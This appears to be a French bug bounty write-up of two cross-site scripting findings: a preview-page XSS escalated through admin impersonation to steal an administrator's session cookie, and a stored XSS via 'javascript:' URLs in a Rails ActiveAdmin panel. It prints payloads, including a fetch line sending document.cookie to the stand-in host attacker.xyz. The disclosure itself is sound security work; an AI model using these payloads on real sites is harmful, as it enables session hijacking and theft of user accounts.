XSS

Description

L'application était une application Web à 3 niveaux de rÎles (administrateur, un utilisateur spécifique utilisé pour un usage spécifique et des utilisateurs normaux). Les utilisateurs spécifiques avaient la possibilité de générer des e-mails avec des entrées personnalisées dans certaines entrées (nom de l'organisation et signature). Une fonctionnalité permettait de voir un aperçu de l'email généré mais celle-ci était la seule à ne pas bien valider et filtrer l'entrée. Cela a conduit à avoir la possibilité de stocker du code javascript dans la page Web, mais à ce moment, il ne s'agissait que d'une Self XSS car les autres utilisateurs ne peuvent pas afficher l'aperçu de l'email généré.

Cependant, les utilisateurs administrateurs avaient la possibilité d'incarner des utilisateurs spécifiques et d'avoir accÚs à toutes leurs pages et fonctionnalités comme si ils étaient connecté sur leur compte, donc si un utilisateur spécifique entre dans une charge utile xss aveugle et encourage un administrateur à aller voir son aperçu, il peut exécuter du code javascript sur son navigateur.

Exploitation

  • Tout d'abord, j'ai crĂ©Ă© un nouvel aperçu avec mon compte spĂ©cifique avec des entrĂ©es "classiques" et ai constatĂ© que celles-ci Ă©taient reflĂ©tĂ©s dans l'email.

  • J'ai alors dans un premier temps tenter d'entrer une charge utile basique telle que <script>alert(document.domain)</script> qui a Ă©tĂ© executĂ©.

  • J'ai donc adaptĂ© mon payload afin d'avoir la possibilitĂ© d'exfiltrer le cookie de l'administrateur se rendant sur l'aperçu.

Payload utilisé

<script>fetch("'https://attacker.xyz/?cookie='+document.cookie");</script>
  • Je me suis ensuite connectĂ© en tant qu'admin et ai incarnĂ© mon utilisateur spĂ©cifique pour me rendre sur l'aperçu contenant la charge utile.

  • Mon cookie administrateur a ainsi Ă©tĂ© envoyĂ© Ă  mon serveur "attacker.xyz" au chargement de la page.

Risques

Le risque ici est principalement un privesc en exfiltrant le cookie de session administrateur mais cela pourrait aussi permettre Ă  un attaquant d'injecter un keylogger ou autre code javascript malveillant dans leur navigateur.

Stored XSS dans attribut href via panneau d'administration

Description

L'application Web utilisait Ruby on Rails avec active admin permettant aux utilisateurs administrateurs de modifier toutes les pages Web. Toutes les balises html était correctement encodés afin d'éviter toute injection, j'ai donc trouvé un autre point d'injection qui n'utilisait pas de balises html. Les entrées attendants des URL notamment n'était pas correctement vérifiés et filtrés, j'ai donc pu utiliser le schéma d'URL "javascript:" pour stocker des hyperliens malveillants sur les pages du site. Différents types de pages Web étaient vulnérables et l'une d'elles contenait une URL iframe permettant d'exécuter du code javascript sans interaction de l'utilisateur.

Exploitation

  • Je me suis connectĂ© en tant qu'administrateur.

  • J'ai entrĂ© la charge utile "javascript:alert(document.domain);" dans toutes les entrĂ©es attendant une url.

  • J'ai sauvegardĂ© les changements et me suis rendu sur la page modifiĂ©/crĂ©e.

  • Les urls malicieuses Ă©taient correctement executĂ©s au chargement de la page et lorsque l'on cliquait sur les hyperliens.

Risques

Les utilisateurs administrateurs peuvent exécuter du code javascript sur tous les utilisateurs qui ouvrent une page ou cliquent sur un lien hypertexte menant au détournement de session, à l'injection d'un enregistreur de frappe ou à d'autres actions malveillantes.

Rewards

Last updated